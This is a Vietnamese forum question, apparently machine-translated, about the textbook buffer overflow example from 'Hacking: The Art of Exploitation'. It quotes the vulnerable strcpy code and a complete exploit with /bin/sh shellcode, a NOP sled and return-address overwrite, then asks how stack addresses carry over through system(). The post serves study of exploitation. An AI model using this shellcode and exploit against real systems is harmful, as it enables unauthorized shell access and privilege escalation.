Tôi đã đọc cuốn sách Nghệ thuật Khai thác này, đó là một cuốn sách hay và tôi chạy qua ví dụ đó từ tệp exploit_notesearch.c.Ví dụ tràn bộ đệm từ cuốn sách Nghệ thuật Khai thác
Tóm lại tác giả cố gắng tràn chương trình từ notesearch.c
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
Đối số của hàm main được sao chép vào mảng searchstring và nếu đối số là lớn hơn 100 byte nó sẽ tràn địa chỉ trở về từ chức năng chính.
Tác giả chuẩn bị shellcode trong exploit_notesearch.c và gọi dễ bị tổn thương notesearch.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; i < 160; i+=4) // Fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); //run exploit
}
Bạn có thể thấy rằng shellcode được kết hợp với NOP kéo xe và trở về địa chỉ mà phải trỏ đến đó NOP xe trượt tuyết. Tác giả sử dụng địa chỉ của một biến cục bộ i như là một điểm tham chiếu và chất nền 270 byte do đó cố gắng tìm ra vị trí gần đúng của NOP bị trượt.
Khi tôi hiểu tác giả giả định rằng khung công tác chính của hàm chính từ notesearch dễ bị tấn công.c sẽ nằm trong cùng một phân đoạn ngăn xếp như chồng của hàm chính từ exploit_notesearch.c. Tôi giả định điều này bởi vì chỉ có cách này thao tác này với địa chỉ của biến địa phương tôi có thể làm việc.
Nhưng, tác giả gọi là notesearch.c dễ bị tổn thương với sự trợ giúp của hệ thống() như hệ thống này (lệnh). Quan điểm của tôi là hệ thống hàm này() ở đâu đó bên trong sử dụng fork() để sinh ra quá trình con và sau đó sử dụng hàm exec() để thay đổi hình ảnh của quá trình. Nhưng nếu hình ảnh được thay đổi, có nghĩa là phân đoạn stack sẽ được làm mới và tất cả các thao tác với địa chỉ của biến cục bộ i trong hàm main trong exploit_notesearch.c sẽ vô dụng, nhưng bằng cách nào đó công việc khai thác này hoàn toàn gây nhầm lẫn cho tôi.
Niklas cảm ơn câu trả lời. –
Niklas cảm ơn câu trả lời. Có một thuộc tính đặc biệt của hệ điều hành phân bổ bộ nhớ ảo giữa quá trình cha mẹ và con mà quá trình con sẽ sử dụng giá trị được lưu trữ trong đặc biệt của quá trình parrent? Ý tôi là khi tác giả trừ đi 270 byte, anh ta giả định rằng một địa chỉ ảo của quá trình con dễ bị tấn công sẽ thấp hơn trong phân đoạn ngăn xếp. Ví dụ, một tiến trình cha đã thực hiện công việc của mình và sử dụng địa chỉ trong phân đoạn stack lên đến 0hffff4534, quá trình con sẽ tiếp tục từ địa chỉ ảo đó? nếu nó không phải là trường hợp, là có bất kỳ hướng dẫn hoặc hướng dẫn tốt có thể giải thích điều này. Cảm ơn trước –
Bạn có thể sửa lỗi nếu tôi sai: vì tôi hiểu khai thác này là có thể bởi vì cả hai quy trình sẽ gán cùng một địa chỉ ảo cho phân đoạn ngăn xếp nhưng vì chức năng chính dễ bị tổn thương sẽ phải phân bổ rất nhiều byte cho biến cục bộ chuỗi tìm kiếm, chúng ta có thể giả định rằng nó sẽ thấp hơn trong ngăn xếp –